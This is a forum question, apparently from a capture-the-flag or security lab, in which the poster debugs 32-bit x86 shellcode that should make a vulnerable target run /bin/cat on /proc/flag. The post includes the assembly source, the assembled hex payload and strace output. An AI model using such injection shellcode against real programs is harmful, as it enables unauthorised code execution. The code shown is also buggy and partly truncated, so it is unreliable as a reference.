修改“ argv”数组以指向“ / proc / flag”时出错

时间:2018-09-11 10:04:17

标签: assembly argv shellcode execve

原始任务是修改“ argv”数组以指向“ / proc / flag”。 我相信我已经朝着正确的方向前进,但是我可能错过了一步。 问题:我不确定我的代码“”中哪里出了错,应该指向proc / flag,但它指向一个空字符串。

我已经走了很远,这是到目前为止的代码:

#include <sys/syscall.h>

#define STRING  "/bin/catN/proc/flagN"
#define STRLEN  7
#define STRLEN2 9
#define ARGV    18 
#define ENVP   26 /* ARGV+8 */

.intel_syntax noprefix
.text

.globl main
.type  main, @function

main:
  jmp     calladdr

popladdr:
  pop    esi                    /* esi points to STRING */
  mov    [esi + 18],esi         /* set up argv[0] pointer to pathname */
  xor    eax,eax                /* get a 32-bit zero value */
  mov    [8 + esi],al      /* null-terminate our string */
  mov    [17 + esi],al
  mov    ecx, [esi + 18]
  mov   [esi + 25],ecx
  mov    [26 + esi], eax      /*move 0 into envp
  mov    [

      /* set up null envp */

  mov    al,SYS_execve          /* syscall number */
  mov    ebx,esi                /* arg 1: string pathname */
  xor    ecx, ecx
  lea    ecx,[ARGV + esi]       /* arg 2: argv */
  lea    edx,[ENVP + esi]       /* arg 3: envp */
  int    0x80                   /* execve("/bin/sh", ["/bin/sh", NULL], [NULL]) */

  xor    ebx,ebx                /* arg 1: 0 */
  mov    eax,ebx
  inc    eax                    /* exit(0) */
  /* mov+inc to avoid null byte */
  int    0x80                   /* invoke syscall */

calladdr:
  call    popladdr
  .string STRING

但是,我收到以下消息:

bash -c '(cat shellcode.bin; echo; cat) | strace -e execve ./target'
 execve("./target", ["./target"], [/* 22 vars */]) = 0
 [ Process PID=13623 runs in 32 bit mode. ]
 > length: 69
 > 0000: EB 2A 5E 89 76 12 31 C0 88 46 08 88 46 11 8B 4E
 > 0010: 12 89 4E 19 89 46 1A B0 0B 89 F3 31 C9 8D 4E 12
 > 0020: 8D 56 1A CD 80 31 DB 89 D8 40 CD 80 E8 D1 FF FF
 > 0030: FF 2F 62 69 6E 2F 63 61 74 4E 2F 70 72 6F 63 2F
 > 0040: 66 6C 61 67 4E
 execve("/bin/cat", ["/bin/cat", ""], [/* 0 vars */]) = 0
 [ Process PID=13623 runs in 64 bit mode. ]
 /bin/cat: : No such file or directory
 +++ exited with 1 +++

0 个答案:

没有答案